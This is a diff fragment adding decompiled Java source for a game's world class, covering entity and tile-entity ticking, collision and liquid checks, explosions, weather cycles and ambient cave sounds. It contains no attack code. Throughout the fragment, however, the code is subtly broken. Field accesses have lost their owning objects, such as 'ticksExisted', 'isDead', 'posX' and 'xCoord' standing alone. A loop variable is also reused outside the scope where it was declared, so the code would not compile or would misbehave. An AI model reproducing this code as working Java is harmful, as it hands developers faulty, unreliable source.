+      var5 = var5 * var9 + var8 * (1.0F - var9);
+      var6 = var6 * var9 + var8 * (1.0F - var9);
+    }
+    
+    var4 *= (var3 * 0.9F + 0.1F);
+    var5 *= (var3 * 0.9F + 0.1F);
+    var6 *= (var3 * 0.85F + 0.15F);
+    float var8 = getWeightedThunderStrength(p_72824_1_);
+    
+    if (var8 > 0.0F)
+    {
+      float var9 = (var4 * 0.3F + var5 * 0.59F + var6 * 0.11F) * 0.2F;
+      float var10 = 1.0F - var8 * 0.95F;
+      var4 = var4 * var10 + var9 * (1.0F - var10);
+      var5 = var5 * var10 + var9 * (1.0F - var10);
+      var6 = var6 * var10 + var9 * (1.0F - var10);
+    }
+    
+    return new Vec3(var4, var5, var6);
+  }
+  
+
+
+
+  public Vec3 getFogColor(float p_72948_1_)
+  {
+    float var2 = getCelestialAngle(p_72948_1_);
+    return provider.getFogColor(var2, p_72948_1_);
+  }
+  
+  public BlockPos func_175725_q(BlockPos p_175725_1_)
+  {
+    return getChunkFromBlockCoords(p_175725_1_).func_177440_h(p_175725_1_);
+  }
+  
+  public BlockPos func_175672_r(BlockPos p_175672_1_)
+  {
+    Chunk var2 = getChunkFromBlockCoords(p_175672_1_);
+    
+    BlockPos var4;
+    
+    for (BlockPos var3 = new BlockPos(p_175672_1_.getX(), var2.getTopFilledSegment() + 16, p_175672_1_.getZ()); var3.getY() >= 0; var3 = var4)
+    {
+      var4 = var3.offsetDown();
+      Material var5 = var2.getBlock(var4).getMaterial();
+      
+      if ((var5.blocksMovement()) && (var5 != Material.leaves)) {
+        break;
+      }
+    }
+    
+
+    return var3;
+  }
+  
+
+
+
+  public float getStarBrightness(float p_72880_1_)
+  {
+    float var2 = getCelestialAngle(p_72880_1_);
+    float var3 = 1.0F - (MathHelper.cos(var2 * 3.1415927F * 2.0F) * 2.0F + 0.25F);
+    var3 = MathHelper.clamp_float(var3, 0.0F, 1.0F);
+    return var3 * var3 * 0.5F;
+  }
+  
+
+  public void scheduleUpdate(BlockPos pos, Block blockIn, int delay) {}
+  
+
+  public void func_175654_a(BlockPos p_175654_1_, Block p_175654_2_, int p_175654_3_, int p_175654_4_) {}
+  
+
+  public void func_180497_b(BlockPos p_180497_1_, Block p_180497_2_, int p_180497_3_, int p_180497_4_) {}
+  
+  public void updateEntities()
+  {
+    theProfiler.startSection("entities");
+    theProfiler.startSection("global");
+    
+
+
+
+
+    for (int var1 = 0; var1 < weatherEffects.size(); var1++)
+    {
+      Entity var2 = (Entity)weatherEffects.get(var1);
+      
+      try
+      {
+        ticksExisted += 1;
+        var2.onUpdate();
+      }
+      catch (Throwable var9)
+      {
+        CrashReport var4 = CrashReport.makeCrashReport(var9, "Ticking entity");
+        CrashReportCategory var5 = var4.makeCategory("Entity being ticked");
+        
+        if (var2 == null)
+        {
+          var5.addCrashSection("Entity", "~~NULL~~");
+        }
+        else
+        {
+          var2.addEntityCrashInfo(var5);
+        }
+        
+        throw new ReportedException(var4);
+      }
+      
+      if (isDead)
+      {
+        weatherEffects.remove(var1--);
+      }
+    }
+    
+    theProfiler.endStartSection("remove");
+    loadedEntityList.removeAll(unloadedEntityList);
+    
+
+
+    for (var1 = 0; var1 < unloadedEntityList.size(); var1++)
+    {
+      Entity var2 = (Entity)unloadedEntityList.get(var1);
+      int var3 = chunkCoordX;
+      int var15 = chunkCoordZ;
+      
+      if ((addedToChunk) && (isChunkLoaded(var3, var15, true)))
+      {
+        getChunkFromChunkCoords(var3, var15).removeEntity(var2);
+      }
+    }
+    
+    for (var1 = 0; var1 < unloadedEntityList.size(); var1++)
+    {
+      onEntityRemoved((Entity)unloadedEntityList.get(var1));
+    }
+    
+    unloadedEntityList.clear();
+    theProfiler.endStartSection("regular");
+    
+    for (var1 = 0; var1 < loadedEntityList.size(); var1++)
+    {
+      Entity var2 = (Entity)loadedEntityList.get(var1);
+      
+      if (ridingEntity != null)
+      {
+        if ((ridingEntity.isDead) || (ridingEntity.riddenByEntity != var2))
+        {
+
+
+
+          ridingEntity.riddenByEntity = null;
+          ridingEntity = null;
+        }
+      } else {
+        theProfiler.startSection("tick");
+        
+        if (!isDead)
+        {
+          try
+          {
+            updateEntity(var2);
+          }
+          catch (Throwable var8)
+          {
+            CrashReport var4 = CrashReport.makeCrashReport(var8, "Ticking entity");
+            CrashReportCategory var5 = var4.makeCategory("Entity being ticked");
+            var2.addEntityCrashInfo(var5);
+            throw new ReportedException(var4);
+          }
+        }
+        
+        theProfiler.endSection();
+        theProfiler.startSection("remove");
+        
+        if (isDead)
+        {
+          int var3 = chunkCoordX;
+          int var15 = chunkCoordZ;
+          
+          if ((addedToChunk) && (isChunkLoaded(var3, var15, true)))
+          {
+            getChunkFromChunkCoords(var3, var15).removeEntity(var2);
+          }
+          
+          loadedEntityList.remove(var1--);
+          onEntityRemoved(var2);
+        }
+        
+        theProfiler.endSection();
+      }
+    }
+    theProfiler.endStartSection("blockEntities");
+    processingLoadedTiles = true;
+    Iterator var10 = tickableTileEntities.iterator();
+    
+    while (var10.hasNext())
+    {
+      TileEntity var11 = (TileEntity)var10.next();
+      
+      if ((!var11.isInvalid()) && (var11.hasWorldObj()))
+      {
+        BlockPos var13 = var11.getPos();
+        
+        if ((isBlockLoaded(var13)) && (worldBorder.contains(var13)))
+        {
+          try
+          {
+            ((IUpdatePlayerListBox)var11).update();
+          }
+          catch (Throwable var7)
+          {
+            CrashReport var16 = CrashReport.makeCrashReport(var7, "Ticking block entity");
+            CrashReportCategory var6 = var16.makeCategory("Block entity being ticked");
+            var11.addInfoToCrashReport(var6);
+            throw new ReportedException(var16);
+          }
+        }
+      }
+      
+      if (var11.isInvalid())
+      {
+        var10.remove();
+        loadedTileEntityList.remove(var11);
+        
+        if (isBlockLoaded(var11.getPos()))
+        {
+          getChunkFromBlockCoords(var11.getPos()).removeTileEntity(var11.getPos());
+        }
+      }
+    }
+    
+    processingLoadedTiles = false;
+    
+    if (!tileEntitiesToBeRemoved.isEmpty())
+    {
+      tickableTileEntities.removeAll(tileEntitiesToBeRemoved);
+      loadedTileEntityList.removeAll(tileEntitiesToBeRemoved);
+      tileEntitiesToBeRemoved.clear();
+    }
+    
+    theProfiler.endStartSection("pendingBlockEntities");
+    
+    if (!addedTileEntityList.isEmpty())
+    {
+      for (int var12 = 0; var12 < addedTileEntityList.size(); var12++)
+      {
+        TileEntity var14 = (TileEntity)addedTileEntityList.get(var12);
+        
+        if (!var14.isInvalid())
+        {
+          if (!loadedTileEntityList.contains(var14))
+          {
+            addTileEntity(var14);
+          }
+          
+          if (isBlockLoaded(var14.getPos()))
+          {
+            getChunkFromBlockCoords(var14.getPos()).addTileEntity(var14.getPos(), var14);
+          }
+          
+          markBlockForUpdate(var14.getPos());
+        }
+      }
+      
+      addedTileEntityList.clear();
+    }
+    
+    theProfiler.endSection();
+    theProfiler.endSection();
+  }
+  
+  public boolean addTileEntity(TileEntity tile)
+  {
+    boolean var2 = loadedTileEntityList.add(tile);
+    
+    if ((var2) && ((tile instanceof IUpdatePlayerListBox)))
+    {
+      tickableTileEntities.add(tile);
+    }
+    
+    return var2;
+  }
+  
+  public void addTileEntities(Collection tileEntityCollection)
+  {
+    if (processingLoadedTiles)
+    {
+      addedTileEntityList.addAll(tileEntityCollection);
+    }
+    else
+    {
+      Iterator var2 = tileEntityCollection.iterator();
+      
+      while (var2.hasNext())
+      {
+        TileEntity var3 = (TileEntity)var2.next();
+        loadedTileEntityList.add(var3);
+        
+        if ((var3 instanceof IUpdatePlayerListBox))
+        {
+          tickableTileEntities.add(var3);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void updateEntity(Entity ent)
+  {
+    updateEntityWithOptionalForce(ent, true);
+  }
+  
+
+
+
+
+  public void updateEntityWithOptionalForce(Entity p_72866_1_, boolean p_72866_2_)
+  {
+    int var3 = MathHelper.floor_double(posX);
+    int var4 = MathHelper.floor_double(posZ);
+    byte var5 = 32;
+    
+    if ((!p_72866_2_) || (isAreaLoaded(var3 - var5, 0, var4 - var5, var3 + var5, 0, var4 + var5, true)))
+    {
+      lastTickPosX = posX;
+      lastTickPosY = posY;
+      lastTickPosZ = posZ;
+      prevRotationYaw = rotationYaw;
+      prevRotationPitch = rotationPitch;
+      
+      if ((p_72866_2_) && (addedToChunk))
+      {
+        ticksExisted += 1;
+        
+        if (ridingEntity != null)
+        {
+          p_72866_1_.updateRidden();
+        }
+        else
+        {
+          p_72866_1_.onUpdate();
+        }
+      }
+      
+      theProfiler.startSection("chunkCheck");
+      
+      if ((Double.isNaN(posX)) || (Double.isInfinite(posX)))
+      {
+        posX = lastTickPosX;
+      }
+      
+      if ((Double.isNaN(posY)) || (Double.isInfinite(posY)))
+      {
+        posY = lastTickPosY;
+      }
+      
+      if ((Double.isNaN(posZ)) || (Double.isInfinite(posZ)))
+      {
+        posZ = lastTickPosZ;
+      }
+      
+      if ((Double.isNaN(rotationPitch)) || (Double.isInfinite(rotationPitch)))
+      {
+        rotationPitch = prevRotationPitch;
+      }
+      
+      if ((Double.isNaN(rotationYaw)) || (Double.isInfinite(rotationYaw)))
+      {
+        rotationYaw = prevRotationYaw;
+      }
+      
+      int var6 = MathHelper.floor_double(posX / 16.0D);
+      int var7 = MathHelper.floor_double(posY / 16.0D);
+      int var8 = MathHelper.floor_double(posZ / 16.0D);
+      
+      if ((!addedToChunk) || (chunkCoordX != var6) || (chunkCoordY != var7) || (chunkCoordZ != var8))
+      {
+        if ((addedToChunk) && (isChunkLoaded(chunkCoordX, chunkCoordZ, true)))
+        {
+          getChunkFromChunkCoords(chunkCoordX, chunkCoordZ).removeEntityAtIndex(p_72866_1_, chunkCoordY);
+        }
+        
+        if (isChunkLoaded(var6, var8, true))
+        {
+          addedToChunk = true;
+          getChunkFromChunkCoords(var6, var8).addEntity(p_72866_1_);
+        }
+        else
+        {
+          addedToChunk = false;
+        }
+      }
+      
+      theProfiler.endSection();
+      
+      if ((p_72866_2_) && (addedToChunk) && (riddenByEntity != null))
+      {
+        if ((!riddenByEntity.isDead) && (riddenByEntity.ridingEntity == p_72866_1_))
+        {
+          updateEntity(riddenByEntity);
+        }
+        else
+        {
+          riddenByEntity.ridingEntity = null;
+          riddenByEntity = null;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean checkNoEntityCollision(AxisAlignedBB p_72855_1_)
+  {
+    return checkNoEntityCollision(p_72855_1_, null);
+  }
+  
+
+
+
+  public boolean checkNoEntityCollision(AxisAlignedBB p_72917_1_, Entity p_72917_2_)
+  {
+    List var3 = getEntitiesWithinAABBExcludingEntity(null, p_72917_1_);
+    
+    for (int var4 = 0; var4 < var3.size(); var4++)
+    {
+      Entity var5 = (Entity)var3.get(var4);
+      
+      if ((!isDead) && (preventEntitySpawning) && (var5 != p_72917_2_) && ((p_72917_2_ == null) || ((ridingEntity != var5) && (riddenByEntity != var5))))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public boolean checkBlockCollision(AxisAlignedBB p_72829_1_)
+  {
+    int var2 = MathHelper.floor_double(minX);
+    int var3 = MathHelper.floor_double(maxX);
+    int var4 = MathHelper.floor_double(minY);
+    int var5 = MathHelper.floor_double(maxY);
+    int var6 = MathHelper.floor_double(minZ);
+    int var7 = MathHelper.floor_double(maxZ);
+    
+    for (int var8 = var2; var8 <= var3; var8++)
+    {
+      for (int var9 = var4; var9 <= var5; var9++)
+      {
+        for (int var10 = var6; var10 <= var7; var10++)
+        {
+          Block var11 = getBlockState(new BlockPos(var8, var9, var10)).getBlock();
+          
+          if (var11.getMaterial() != Material.air)
+          {
+            return true;
+          }
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public boolean isAnyLiquid(AxisAlignedBB p_72953_1_)
+  {
+    int var2 = MathHelper.floor_double(minX);
+    int var3 = MathHelper.floor_double(maxX);
+    int var4 = MathHelper.floor_double(minY);
+    int var5 = MathHelper.floor_double(maxY);
+    int var6 = MathHelper.floor_double(minZ);
+    int var7 = MathHelper.floor_double(maxZ);
+    
+    for (int var8 = var2; var8 <= var3; var8++)
+    {
+      for (int var9 = var4; var9 <= var5; var9++)
+      {
+        for (int var10 = var6; var10 <= var7; var10++)
+        {
+          Block var11 = getBlockState(new BlockPos(var8, var9, var10)).getBlock();
+          
+          if (var11.getMaterial().isLiquid())
+          {
+            return true;
+          }
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean func_147470_e(AxisAlignedBB p_147470_1_)
+  {
+    int var2 = MathHelper.floor_double(minX);
+    int var3 = MathHelper.floor_double(maxX + 1.0D);
+    int var4 = MathHelper.floor_double(minY);
+    int var5 = MathHelper.floor_double(maxY + 1.0D);
+    int var6 = MathHelper.floor_double(minZ);
+    int var7 = MathHelper.floor_double(maxZ + 1.0D);
+    
+    if (isAreaLoaded(var2, var4, var6, var3, var5, var7, true))
+    {
+      for (int var8 = var2; var8 < var3; var8++)
+      {
+        for (int var9 = var4; var9 < var5; var9++)
+        {
+          for (int var10 = var6; var10 < var7; var10++)
+          {
+            Block var11 = getBlockState(new BlockPos(var8, var9, var10)).getBlock();
+            
+            if ((var11 == Blocks.fire) || (var11 == Blocks.flowing_lava) || (var11 == Blocks.lava))
+            {
+              return true;
+            }
+          }
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public boolean handleMaterialAcceleration(AxisAlignedBB p_72918_1_, Material p_72918_2_, Entity p_72918_3_)
+  {
+    int var4 = MathHelper.floor_double(minX);
+    int var5 = MathHelper.floor_double(maxX + 1.0D);
+    int var6 = MathHelper.floor_double(minY);
+    int var7 = MathHelper.floor_double(maxY + 1.0D);
+    int var8 = MathHelper.floor_double(minZ);
+    int var9 = MathHelper.floor_double(maxZ + 1.0D);
+    
+    if (!isAreaLoaded(var4, var6, var8, var5, var7, var9, true))
+    {
+      return false;
+    }
+    
+
+    boolean var10 = false;
+    Vec3 var11 = new Vec3(0.0D, 0.0D, 0.0D);
+    
+    for (int var12 = var4; var12 < var5; var12++)
+    {
+      for (int var13 = var6; var13 < var7; var13++)
+      {
+        for (int var14 = var8; var14 < var9; var14++)
+        {
+          BlockPos var15 = new BlockPos(var12, var13, var14);
+          IBlockState var16 = getBlockState(var15);
+          Block var17 = var16.getBlock();
+          
+          if (var17.getMaterial() == p_72918_2_)
+          {
+            double var18 = var13 + 1 - BlockLiquid.getLiquidHeightPercent(((Integer)var16.getValue(BlockLiquid.LEVEL)).intValue());
+            
+            if (var7 >= var18)
+            {
+              var10 = true;
+              var11 = var17.modifyAcceleration(this, var15, p_72918_3_, var11);
+            }
+          }
+        }
+      }
+    }
+    
+    if ((var11.lengthVector() > 0.0D) && (p_72918_3_.isPushedByWater()))
+    {
+      var11 = var11.normalize();
+      double var20 = 0.014D;
+      motionX += xCoord * var20;
+      motionY += yCoord * var20;
+      motionZ += zCoord * var20;
+    }
+    
+    return var10;
+  }
+  
+
+
+
+
+  public boolean isMaterialInBB(AxisAlignedBB p_72875_1_, Material p_72875_2_)
+  {
+    int var3 = MathHelper.floor_double(minX);
+    int var4 = MathHelper.floor_double(maxX + 1.0D);
+    int var5 = MathHelper.floor_double(minY);
+    int var6 = MathHelper.floor_double(maxY + 1.0D);
+    int var7 = MathHelper.floor_double(minZ);
+    int var8 = MathHelper.floor_double(maxZ + 1.0D);
+    
+    for (int var9 = var3; var9 < var4; var9++)
+    {
+      for (int var10 = var5; var10 < var6; var10++)
+      {
+        for (int var11 = var7; var11 < var8; var11++)
+        {
+          if (getBlockState(new BlockPos(var9, var10, var11)).getBlock().getMaterial() == p_72875_2_)
+          {
+            return true;
+          }
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public boolean isAABBInMaterial(AxisAlignedBB p_72830_1_, Material p_72830_2_)
+  {
+    int var3 = MathHelper.floor_double(minX);
+    int var4 = MathHelper.floor_double(maxX + 1.0D);
+    int var5 = MathHelper.floor_double(minY);
+    int var6 = MathHelper.floor_double(maxY + 1.0D);
+    int var7 = MathHelper.floor_double(minZ);
+    int var8 = MathHelper.floor_double(maxZ + 1.0D);
+    
+    for (int var9 = var3; var9 < var4; var9++)
+    {
+      for (int var10 = var5; var10 < var6; var10++)
+      {
+        for (int var11 = var7; var11 < var8; var11++)
+        {
+          BlockPos var12 = new BlockPos(var9, var10, var11);
+          IBlockState var13 = getBlockState(var12);
+          Block var14 = var13.getBlock();
+          
+          if (var14.getMaterial() == p_72830_2_)
+          {
+            int var15 = ((Integer)var13.getValue(BlockLiquid.LEVEL)).intValue();
+            double var16 = var10 + 1;
+            
+            if (var15 < 8)
+            {
+              var16 = var10 + 1 - var15 / 8.0D;
+            }
+            
+            if (var16 >= minY)
+            {
+              return true;
+            }
+          }
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public Explosion createExplosion(Entity p_72876_1_, double p_72876_2_, double p_72876_4_, double p_72876_6_, float p_72876_8_, boolean p_72876_9_)
+  {
+    return newExplosion(p_72876_1_, p_72876_2_, p_72876_4_, p_72876_6_, p_72876_8_, false, p_72876_9_);
+  }
+  
+
+
+
+  public Explosion newExplosion(Entity p_72885_1_, double p_72885_2_, double p_72885_4_, double p_72885_6_, float p_72885_8_, boolean p_72885_9_, boolean p_72885_10_)
+  {
+    Explosion var11 = new Explosion(this, p_72885_1_, p_72885_2_, p_72885_4_, p_72885_6_, p_72885_8_, p_72885_9_, p_72885_10_);
+    var11.doExplosionA();
+    var11.doExplosionB(true);
+    return var11;
+  }
+  
+
+
+
+  public float getBlockDensity(Vec3 p_72842_1_, AxisAlignedBB p_72842_2_)
+  {
+    double var3 = 1.0D / ((maxX - minX) * 2.0D + 1.0D);
+    double var5 = 1.0D / ((maxY - minY) * 2.0D + 1.0D);
+    double var7 = 1.0D / ((maxZ - minZ) * 2.0D + 1.0D);
+    
+    if ((var3 >= 0.0D) && (var5 >= 0.0D) && (var7 >= 0.0D))
+    {
+      int var9 = 0;
+      int var10 = 0;
+      
+      for (float var11 = 0.0F; var11 <= 1.0F; var11 = (float)(var11 + var3))
+      {
+        for (float var12 = 0.0F; var12 <= 1.0F; var12 = (float)(var12 + var5))
+        {
+          for (float var13 = 0.0F; var13 <= 1.0F; var13 = (float)(var13 + var7))
+          {
+            double var14 = minX + (maxX - minX) * var11;
+            double var16 = minY + (maxY - minY) * var12;
+            double var18 = minZ + (maxZ - minZ) * var13;
+            
+            if (rayTraceBlocks(new Vec3(var14, var16, var18), p_72842_1_) == null)
+            {
+              var9++;
+            }
+            
+            var10++;
+          }
+        }
+      }
+      
+      return var9 / var10;
+    }
+    
+
+    return 0.0F;
+  }
+  
+
+  public boolean func_175719_a(EntityPlayer p_175719_1_, BlockPos p_175719_2_, EnumFacing p_175719_3_)
+  {
+    p_175719_2_ = p_175719_2_.offset(p_175719_3_);
+    
+    if (getBlockState(p_175719_2_).getBlock() == Blocks.fire)
+    {
+      playAuxSFXAtEntity(p_175719_1_, 1004, p_175719_2_, 0);
+      setBlockToAir(p_175719_2_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public String getDebugLoadedEntities()
+  {
+    return "All: " + loadedEntityList.size();
+  }
+  
+
+
+
+  public String getProviderName()
+  {
+    return chunkProvider.makeString();
+  }
+  
+  public TileEntity getTileEntity(BlockPos pos)
+  {
+    if (!isValid(pos))
+    {
+      return null;
+    }
+    
+
+    TileEntity var2 = null;
+    
+
+
+    if (processingLoadedTiles)
+    {
+      for (int var3 = 0; var3 < addedTileEntityList.size(); var3++)
+      {
+        TileEntity var4 = (TileEntity)addedTileEntityList.get(var3);
+        
+        if ((!var4.isInvalid()) && (var4.getPos().equals(pos)))
+        {
+          var2 = var4;
+          break;
+        }
+      }
+    }
+    
+    if (var2 == null)
+    {
+      var2 = getChunkFromBlockCoords(pos).func_177424_a(pos, Chunk.EnumCreateEntityType.IMMEDIATE);
+    }
+    
+    if (var2 == null)
+    {
+      for (int var3 = 0; var3 < addedTileEntityList.size(); var3++)
+      {
+        TileEntity var4 = (TileEntity)addedTileEntityList.get(var3);
+        
+        if ((!var4.isInvalid()) && (var4.getPos().equals(pos)))
+        {
+          var2 = var4;
+          break;
+        }
+      }
+    }
+    
+    return var2;
+  }
+  
+
+  public void setTileEntity(BlockPos p_175690_1_, TileEntity p_175690_2_)
+  {
+    if ((p_175690_2_ != null) && (!p_175690_2_.isInvalid()))
+    {
+      if (processingLoadedTiles)
+      {
+        p_175690_2_.setPos(p_175690_1_);
+        Iterator var3 = addedTileEntityList.iterator();
+        
+        while (var3.hasNext())
+        {
+          TileEntity var4 = (TileEntity)var3.next();
+          
+          if (var4.getPos().equals(p_175690_1_))
+          {
+            var4.invalidate();
+            var3.remove();
+          }
+        }
+        
+        addedTileEntityList.add(p_175690_2_);
+      }
+      else
+      {
+        addTileEntity(p_175690_2_);
+        getChunkFromBlockCoords(p_175690_1_).addTileEntity(p_175690_1_, p_175690_2_);
+      }
+    }
+  }
+  
+  public void removeTileEntity(BlockPos pos)
+  {
+    TileEntity var2 = getTileEntity(pos);
+    
+    if ((var2 != null) && (processingLoadedTiles))
+    {
+      var2.invalidate();
+      addedTileEntityList.remove(var2);
+    }
+    else
+    {
+      if (var2 != null)
+      {
+        addedTileEntityList.remove(var2);
+        loadedTileEntityList.remove(var2);
+        tickableTileEntities.remove(var2);
+      }
+      
+      getChunkFromBlockCoords(pos).removeTileEntity(pos);
+    }
+  }
+  
+
+
+
+  public void markTileEntityForRemoval(TileEntity tileEntityIn)
+  {
+    tileEntitiesToBeRemoved.add(tileEntityIn);
+  }
+  
+  public boolean func_175665_u(BlockPos p_175665_1_)
+  {
+    IBlockState var2 = getBlockState(p_175665_1_);
+    AxisAlignedBB var3 = var2.getBlock().getCollisionBoundingBox(this, p_175665_1_, var2);
+    return (var3 != null) && (var3.getAverageEdgeLength() >= 1.0D);
+  }
+  
+  public static boolean doesBlockHaveSolidTopSurface(IBlockAccess p_175683_0_, BlockPos p_175683_1_)
+  {
+    IBlockState var2 = p_175683_0_.getBlockState(p_175683_1_);
+    Block var3 = var2.getBlock();
+    return (var3.getMaterial().isOpaque()) && (var3.isFullCube());
+  }
+  
+  public boolean func_175677_d(BlockPos p_175677_1_, boolean p_175677_2_)
+  {
+    if (!isValid(p_175677_1_))
+    {
+      return p_175677_2_;
+    }
+    
+
+    Chunk var3 = chunkProvider.func_177459_a(p_175677_1_);
+    
+    if (var3.isEmpty())
+    {
+      return p_175677_2_;
+    }
+    
+
+    Block var4 = getBlockState(p_175677_1_).getBlock();
+    return (var4.getMaterial().isOpaque()) && (var4.isFullCube());
+  }
+  
+
+
+
+
+
+  public void calculateInitialSkylight()
+  {
+    int var1 = calculateSkylightSubtracted(1.0F);
+    
+    if (var1 != skylightSubtracted)
+    {
+      skylightSubtracted = var1;
+    }
+  }
+  
+
+
+
+  public void setAllowedSpawnTypes(boolean hostile, boolean peaceful)
+  {
+    spawnHostileMobs = hostile;
+    spawnPeacefulMobs = peaceful;
+  }
+  
+
+
+
+  public void tick()
+  {
+    updateWeather();
+  }
+  
+
+
+
+  protected void calculateInitialWeather()
+  {
+    if (worldInfo.isRaining())
+    {
+      rainingStrength = 1.0F;
+      
+      if (worldInfo.isThundering())
+      {
+        thunderingStrength = 1.0F;
+      }
+    }
+  }
+  
+
+
+
+  protected void updateWeather()
+  {
+    if (!provider.getHasNoSky())
+    {
+      if (!isRemote)
+      {
+        int var1 = worldInfo.func_176133_A();
+        
+        if (var1 > 0)
+        {
+          var1--;
+          worldInfo.func_176142_i(var1);
+          worldInfo.setThunderTime(worldInfo.isThundering() ? 1 : 2);
+          worldInfo.setRainTime(worldInfo.isRaining() ? 1 : 2);
+        }
+        
+        int var2 = worldInfo.getThunderTime();
+        
+        if (var2 <= 0)
+        {
+          if (worldInfo.isThundering())
+          {
+            worldInfo.setThunderTime(rand.nextInt(12000) + 3600);
+          }
+          else
+          {
+            worldInfo.setThunderTime(rand.nextInt(168000) + 12000);
+          }
+        }
+        else
+        {
+          var2--;
+          worldInfo.setThunderTime(var2);
+          
+          if (var2 <= 0)
+          {
+            worldInfo.setThundering(!worldInfo.isThundering());
+          }
+        }
+        
+        prevThunderingStrength = thunderingStrength;
+        
+        if (worldInfo.isThundering())
+        {
+          thunderingStrength = ((float)(thunderingStrength + 0.01D));
+        }
+        else
+        {
+          thunderingStrength = ((float)(thunderingStrength - 0.01D));
+        }
+        
+        thunderingStrength = MathHelper.clamp_float(thunderingStrength, 0.0F, 1.0F);
+        int var3 = worldInfo.getRainTime();
+        
+        if (var3 <= 0)
+        {
+          if (worldInfo.isRaining())
+          {
+            worldInfo.setRainTime(rand.nextInt(12000) + 12000);
+          }
+          else
+          {
+            worldInfo.setRainTime(rand.nextInt(168000) + 12000);
+          }
+        }
+        else
+        {
+          var3--;
+          worldInfo.setRainTime(var3);
+          
+          if (var3 <= 0)
+          {
+            worldInfo.setRaining(!worldInfo.isRaining());
+          }
+        }
+        
+        prevRainingStrength = rainingStrength;
+        
+        if (worldInfo.isRaining())
+        {
+          rainingStrength = ((float)(rainingStrength + 0.01D));
+        }
+        else
+        {
+          rainingStrength = ((float)(rainingStrength - 0.01D));
+        }
+        
+        rainingStrength = MathHelper.clamp_float(rainingStrength, 0.0F, 1.0F);
+      }
+    }
+  }
+  
+  protected void setActivePlayerChunksAndCheckLight()
+  {
+    activeChunkSet.clear();
+    theProfiler.startSection("buildList");
+    
+
+
+
+
+
+    for (int var1 = 0; var1 < playerEntities.size(); var1++)
+    {
+      EntityPlayer var2 = (EntityPlayer)playerEntities.get(var1);
+      int var3 = MathHelper.floor_double(posX / 16.0D);
+      int var4 = MathHelper.floor_double(posZ / 16.0D);
+      int var5 = getRenderDistanceChunks();
+      
+      for (int var6 = -var5; var6 <= var5; var6++)
+      {
+        for (int var7 = -var5; var7 <= var5; var7++)
+        {
+          activeChunkSet.add(new ChunkCoordIntPair(var6 + var3, var7 + var4));
+        }
+      }
+    }
+    
+    theProfiler.endSection();
+    
+    if (ambientTickCountdown > 0)
+    {
+      ambientTickCountdown -= 1;
+    }
+    
+    theProfiler.startSection("playerCheckLight");
+    
+    if (!playerEntities.isEmpty())
+    {
+      var1 = rand.nextInt(playerEntities.size());
+      EntityPlayer var2 = (EntityPlayer)playerEntities.get(var1);
+      int var3 = MathHelper.floor_double(posX) + rand.nextInt(11) - 5;
+      int var4 = MathHelper.floor_double(posY) + rand.nextInt(11) - 5;
+      int var5 = MathHelper.floor_double(posZ) + rand.nextInt(11) - 5;
+      checkLight(new BlockPos(var3, var4, var5));
+    }
+    
+    theProfiler.endSection();
+  }
+  
+  protected abstract int getRenderDistanceChunks();
+  
+  protected void func_147467_a(int p_147467_1_, int p_147467_2_, Chunk p_147467_3_)
+  {
+    theProfiler.endStartSection("moodSound");
+    
+    if ((ambientTickCountdown == 0) && (!isRemote))
+    {
+      updateLCG = (updateLCG * 3 + 1013904223);
+      int var4 = updateLCG >> 2;
+      int var5 = var4 & 0xF;
+      int var6 = var4 >> 8 & 0xF;
+      int var7 = var4 >> 16 & 0xFF;
+      BlockPos var8 = new BlockPos(var5, var7, var6);
+      Block var9 = p_147467_3_.getBlock(var8);
+      var5 += p_147467_1_;
+      var6 += p_147467_2_;
+      
+      if ((var9.getMaterial() == Material.air) && (getLight(var8) <= rand.nextInt(8)) && (getLightFor(EnumSkyBlock.SKY, var8) <= 0))
+      {
+        EntityPlayer var10 = getClosestPlayer(var5 + 0.5D, var7 + 0.5D, var6 + 0.5D, 8.0D);
+        
+        if ((var10 != null) && (var10.getDistanceSq(var5 + 0.5D, var7 + 0.5D, var6 + 0.5D) > 4.0D))
+        {
+          playSoundEffect(var5 + 0.5D, var7 + 0.5D, var6 + 0.5D, "ambient.cave.cave", 0.7F, 0.8F + rand.nextFloat() * 0.2F);
+          ambientTickCountdown = (rand.nextInt(12000) + 6000);
+        }
+      }
+    }
+    
+    theProfiler.endStartSection("checkLight");
+    p_147467_3_.enqueueRelightChecks();
+  }
+  
+  protected void func_147456_g()
+  {
+    setActivePlayerChunksAndCheckLight();
+  }
+  
+  public void func_175637_a(Block p_175637_1_, BlockPos p_175637_2_, Random p_175637_3_)
+  {
+    scheduledUpdatesAreImmediate = true;
+    p_175637_1_.updateTick(this, p_175637_2_, getBlockState(p_175637_2_), p_175637_3_);
+    scheduledUpdatesAreImmediate = false;
+  }
+  
+  public boolean func_175675_v(BlockPos p_175675_1_)
+  {
+    return func_175670_e(p_175675_1_, false);
+  }
+  
+  public boolean func_175662_w(BlockPos p_175662_1_)
+  {
+    return func_175670_e(p_175662_1_, true);
+  }
+  
+  public boolean func_175670_e(BlockPos p_175670_1_, boolean p_175670_2_)
+  {
+    BiomeGenBase var3 = getBiomeGenForCoords(p_175670_1_);
+    float var4 = var3.func_180626_a(p_175670_1_);
+    
+    if (var4 > 0.15F)
+    {
+      return false;
+    }
+    
+
+    if ((p_175670_1_.getY() >= 0) && (p_175670_1_.getY() < 256) && (getLightFor(EnumSkyBlock.BLOCK, p_175670_1_) < 10))
+    {
+      IBlockState var5 = getBlockState(p_175670_1_);
+      Block var6 = var5.getBlock();
+      
+      if (((var6 == Blocks.water) || (var6 == Blocks.flowing_water)) && (((Integer)var5.getValue(BlockLiquid.LEVEL)).intValue() == 0))
+      {
+        if (!p_175670_2_)
+        {
+          return true;
+        }
+        
+        boolean var7 = (func_175696_F(p_175670_1_.offsetWest())) && (func_175696_F(p_175670_1_.offsetEast())) && (func_175696_F(p_175670_1_.offsetNorth())) && (func_175696_F(p_175670_1_.offsetSouth()));
+        
+        if (!var7)
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+
+  private boolean func_175696_F(BlockPos p_175696_1_)
+  {
